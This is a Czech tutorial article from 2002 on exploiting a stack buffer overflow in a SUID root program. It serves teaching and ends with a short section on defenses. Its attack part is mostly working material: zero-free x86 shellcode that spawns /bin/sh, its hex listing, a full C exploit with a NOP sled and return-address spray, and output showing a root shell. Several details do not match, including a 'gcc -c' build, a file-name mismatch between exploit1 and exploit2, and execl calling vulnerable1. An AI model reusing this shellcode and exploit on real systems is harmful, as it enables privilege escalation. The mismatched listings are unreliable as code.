Taky vám přetéká? (2)

4. 7. 2002
Doba čtení: 8 minut

Sdílet

Minule jsme nakousli téma přetékání bufferů a ukázali jsme si jednoduchý příklad, na kterém šlo tohoto principu zneužít. Dnešním dílem povídání ukončíme, a to ukázkou trochu komplikovanějšího (a doufám, že o to víc zajímavějšího) příkladu, který v programování patří tak trochu do "vyšší dívčí".

Potenciálně velmi nebezpečné jsou programy s nastaveným SUID nebo SGID bitem. SUID nebo SGID bit je určitý typ práv, kterých může v Unixu nabývat jakýkoliv spustitelný soubor. Program s tímto příznakem po nastartování získá taková práva, jako by byl spuštěn přímo vlastníkem souboru. Protože většina programů v systému je vlastněna rootem, získá program se SUID bitem práva super-uživatele. U SGID bitu získá program práva skupiny.

Další početnou skupinou programů, které mohou posloužit k průniku do systému, jsou různí démoni. Takové programy jsou obvykle spouštěny rovnou rootem, a tak mají stejná práva jako on.

Exploitování

Přistupme ale k praktičtější ukázce. Tento výpis zdrojového souboru nechť je modelovou ukázkou kódu, který se pokusíme napadnout.

/* soubor vulnerable2.c */

#include <stdio.h>
#include <string.h>


int main(int argc, char* argv[]) {
  char buffer[500];

  if (argc >= 2)
    strcpy(buffer, argv[1]);
  return 0;
}

Aby se s programem dalo něco dělat, řekněme, že je vlastněn uživatelem root a navíc, že má nastaven SUID bit, takže když se aplikace rozjede, dostane proces práva super-uživatele.

$ gcc -c vulnerable2 -o vulnerable2
$ su
Password:
# chown root vulnerable2
# chmod 4755 vulnerable2
# exit
$ ./vulnerable2 Ahoj!
$

Víme, že program na zásobník ukládá 500bajtový buffer. Nad tímto bufferem bude po spuštění ve čtyřech bajtech zapsán starý base pointer (BP), který nás až tak nezajímá, a nad ním 32-bitová návratová adresa z funkce  main().

Náš útok bude spočívat v tom, že se pokusíme tyto čtyři bajty přepsat na adresu ukazující dovnitř přetékaného bufferu, kam si připravíme strojové instrukce pro spuštění shellu.

+---+---+---+---+---+---+---+---+---+---+---+---+---+
|NOP|NOP|...|NOP| shell-kód...  |RET|RET|...|RET| 0 |
+---+---+---+---+---+---+---+---+---+---+---+---+---+

Napíšeme si pomocný program, který se postará o sestavení pole dlouhého řekněme 600 bajtů (viz obrázek). Toto pole bude ve své první polovině obsahovat samé instrukce NOP (tedy něco jako „nedělej nic“) a v druhé polovině samé nové návratové adresy, abychom měli větší šanci, že se jednou z nich trefíme do správného místa. Doprostřed se vloží strojové instrukce volající jádro systému s žádostí o spuštění shellu. Toto pole ukončíme nulou, takže se z něj stane právoplatný řetězec, a takto jej předáme jako první argument napadanému programu.

Jelikož je předávaný parametr o 100 bajtů větší než program  vulnerable2

očekává, mělo by dojít k přetečení bufferu a k přepsání paměti obsahující údaje o hodnotě base-pointeru a návratové adrese z funkce  main().

Na dalším obrázku můžete vlevo vidět stav zásobníku napadaného programu před přetečením a vpravo po přetečení. Měli bysme dosáhnout toho, že sekvencí řady návratových adres přepíšeme i místo, kde byla uložena původní návratová adresa.

Trochu problémem může být určení vhodné nové návratové adresy. Měla by ukazovat někam na začátek přetečeného bufferu, do míst, kde se budou nacházet instrukce NOP. Ukončením funkce main() se tato adresa, v dobré víře, že ukazuje na místo správného návratu podprogramu, použije systémem v instrukci skoku. Jestliže vše dobře dopadne, skočí se – místo na úklidové rutiny pro ukončení procesu – na naše instrukce NOP, za kterými následuje připravený shell-kód, jenž bezodkladně spustí příkazový interpret, ovšem se zděděnými právy roota.

Před přetečením:     Po přetečení:
+-------------+ MAX +-------------+
|     ...     |     |     ...     |
|  prostředí  |     +-------------+
| a argumenty |     |      0      |
|     ...     |     |     RET     |
+-------------+     |     RET     |
|     RET     |     |     RET     |
+-------------+     |     RET     |
|   starý BP  |     |  shell-kód  |
+-------------+     |  shell-kód  |
|             |     |  shell-kód  |
|    buffer   |     |     NOP     |
|    500 B    |     |     NOP     |
|             |     |     NOP     |
+-------------+ MIN +-------------+

Pojďme na to. Nejprve si musíme vyrobit patřičný strojový kód pro nastartování příkazového interpretu:

# soubor shell.S

.global _start
.intel_syntax noprefix

_start:
    jmp ending          # skok na konec

secondstart:
    pop esi             # získej adresu názvu programu
    lea ebx, [esi]      # přesuň adresu do ebx
    mov [esi+0x0B], ebx # přesuň adresu názvu souboru
                        # do argv[0]

    xor edx, edx        # vynulování edx
    mov [esi+7], edx    # přidání 0 na konec názvu programu
    mov [esi+0x0F], edx # vynulování argv[1]

    mov eax, 0x1234561b # nastavení eax na...
    xor eax, 0x12345610 # ...0x0000000b

    lea ecx, [esi+0x0b] # argv[1] do ecx (argv[1] = 0)
    mov edx, ecx        # **envp do edx (**envp = 0)

    int 0x80            # zavolej execve(ebx,ecx,edx)
                        # ebx=program ecx=**argv edx=**envp

    xor eax, eax        # vynulování eax
    inc eax             # nastavení eax na 1

    int 0x80            # exit(ebx)
                        # (ebx není nastaveno)
ending:
    call secondstart    # volej secondstart

programname:
    .byte '/','b','i','n','/','s','h'

Uvedený assemblerový program spočívá v tom, že se snažíme nastavit registry na patřičné hodnoty tak, aby to znamenalo žádost o funkci jádra execve() (tj. spuštění programu) a abychom voláním přerušení 80h (žádost o službu jádra systému) tuto akci vykonali.

Problém je v tom, že kód nemůžeme napsat přímočaře, protože se ve výsledném strojovém kódu nesmějí vyskytovat nulové bajty. Pokud by tam byly, nedošlo by v napadaném programu k přetečení zásobníku, protože funkce strcpy() předpokládá, že kopíruje řetězec ukončený nulou, a tak by se na prvním nulovém bajtu kopírování zastavilo.

Kódy strojových instrukcí v hexadecimálním tvaru (na výpisu červeně) získáme v souboru shell.log příkazem

$ as -a -o shell.o shell.S > shell.log
$ cat shell.log
  ...
  6                 _start:
  7 0000 EB24           jmp ending
  8
  9                 secondstart:
  10 0002 5E            pop esi
  11 0003 8D1E          lea ebx, [esi]
  12 0005 895E0B        mov [esi+0x0B], ebx
  13 0008 31D2          xor edx, edx
  14 000a 895607        mov [esi+7], edx
  15 000d 89560F        mov [esi+0x0F], edx
  16 0010 B81B5634      mov eax, 0x1234561b
  16      12

  17 0015 35105634      xor eax, 0x12345610
  17      12
  18 001a 8D4E0B        lea ecx, [esi+0x0b]
  19 001d 89CA          mov edx, ecx
  20 001f CD80          int 0x80
  22 0021 31C0              xor eax, eax
  23 0023 40                inc eax
  24 0024 CD80              int 0x80
  25
  26                ending:
  27 0026 E8D7FFFF          call secondstart
  27      FF

  28
  29                programname:
  30 002b 2F62696E      .byte '/','b','i','n','/','s','h'
  30      2F7368
  ...
$

Vše potřebné už máme, a tak můžeme konečně přistoupit k naprogramování samotného exploitu.

/* soubor exploit1.c */

#include <stdlib.h>

#define BUFFERSIZE 600  /* vulnerable buffer + 100 bajtu */

char shell[] =
     "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56"
     "\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56"
     "\x34\x12\x8d\x4e\x0b\x89\xca\xcd\x80\x31\xc0\x40"
     "\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";


unsigned long sp(void) {
  __asm__("movl %esp, %eax");
}


void usage(char *cmd) {
  printf("\nusage: %s <offset>\n", cmd);
  exit(-1);
}


int main(int argc, char *argv[]) {
  int i, offset;
  long esp, ret, *addr_ptr;
  char *buffer, *ptr;

  if(argc < 2)
    usage(argv[0]);

  offset = atoi(argv[1]); /* získej offset */
  esp    = sp();          /* získej stack pointer */
  ret    = esp-offset;    /* sp - offset = návratová adresa */

  /* tisk informací o vypočtených adresách */
  printf("Stack pointer: 0x%x\n", esp);
  printf("       Offset: 0x%x\n", offset);
  printf("  Return addr: 0x%x\n", ret);

  /* alokování paměti pro náš buffer */
  if (!(buffer = malloc(BUFFERSIZE))) {
    printf("Nelze alokovat paměť.\n");
    exit(-1);
  }

  /* vyplnění bufferu návratovými adresami */
  ptr = buffer;
  addr_ptr = (long *) ptr;
  for (i = 0; i < BUFFERSIZE; i += 4)
    *(addr_ptr++) = ret;

  /* vyplnění první poloviny bufferu instrukcemi NOP */
  for (i = 0; i < BUFFERSIZE / 2; i++)
    buffer[i] = '\x90';

  /* vložení shell-kódu doprostřed bufferu */
  ptr = buffer + ((BUFFERSIZE / 2) - (strlen(shell) / 2));
  for (i = 0; i < strlen(shell); i++)
    *(ptr++) = shell[i];

  /* zavolání napadaného programu a předání našeho
   * bufferu jako argumentu */
  buffer[BUFFERSIZE - 1] = 0;
  execl("./vulnerable1", "vulnerable1", buffer, 0);

  return 0;
}

Program funguje takto: V poli shell máme uloženy strojové instrukce pro spuštění shellu. Nejobtížnější je výpočet nové návratové adresy: Nejprve nalezneme adresu prázdného zásobníku. Měla by být podobná adrese, na které se nachází zásobník samotného exploitu, a tu určíme pomocí funkce

sp(). (Kód funkce sp() pouze vrací hodnotu registru ESP.) Od této adresy je třeba odečíst určitý offset a tím získat adresu počátku přetékaného bufferu. Onen offset určíme experimentálně tak, že jej budeme exploitu předávat jako parametr a hrubou silou odzkoušíme různé hodnoty, dokud nebudeme úspěšní. Já jsem pokusem určil hodnotu offsetu někde kolem čísla 900. Na vašich mašinách se tato hodnota pochopitelně může lišit.

Činnost exploitu pokračuje vytvořením argumentu pro napadaný program (proměnná buffer). Celý buffer vyplníme vypočtenými návratovými adresami a v druhém kroku uložíme do první poloviny instrukce NOP ( 90h). Poté se doprostřed bufferu zkopíruje náš shell-kód a buffer se ukončí nulou, čímž se z něj stane řetězec.

Nakonec se pomocí funkce execl spustí napadaný program a vytvořený buffer se mu předá jako první a jediný parametr.

Tak už nebudeme chodit kolem horké kaše a rovnou exploit spustíme.

$ gcc exploit2.c -o exploit2
$ exploit2
usage: exploit2 <offset>
$ exploit2 900
Stack pointer: 0xbffff758
       Offset: 0x384
  Return addr: 0xbffff3d4
sh-2.05$ whoami
root
sh-2.05$

A je to. Co dodat? Snad jen to, že pokud si ukázku zkusíte sami doma, pravděpodobně se vám ani tak roota získat nepodaří. Vyzkoumání, proč tomu tak je, vám přenechám jako domácí úkol. :-)

Ochrana

Jak se tedy před buffer-overflow útoky bránit? Především v programech nepoužívat potenciálně nebezpečné funkce jako gets(), strcpy() apod., ale raději jejich bezpečnější varianty jako  fgets(),

strncpy() apod. Vše závisí na programátorovi, zda je schopen dodržovat zásady čistého programování a psát bezpečný kód.

bitcoin_skoleni

Jiným způsobem ochrany je znemožnění vykonávání kódu uloženého na zásobníku nebo v heapu, jak to praktikují některé operační systémy. Řeší to ale jen část problémů. Stále zde zůstává možnost přepsání hodnot jiných proměnných a podobné kejkle.
Dalším používaným způsobem je, že se mezi proměnnými na zásobníku vynechávají úseky paměti, které se naplní nějakou hodnotou, a pak se nějakou utilitou testuje, zda se tyto hodnoty nezměnily.

A to je vše, přátelé. Doufám, že se vám mé povídání líbilo a že vás inspirovalo k lepším mravům programátorským.

Autor článku

Michal Burda vystudoval informatiku a aplikovanou matematiku a nyní pracuje na Ostravské univerzitě jako odborný asistent. Zajímá se o data mining, Javu a Linux.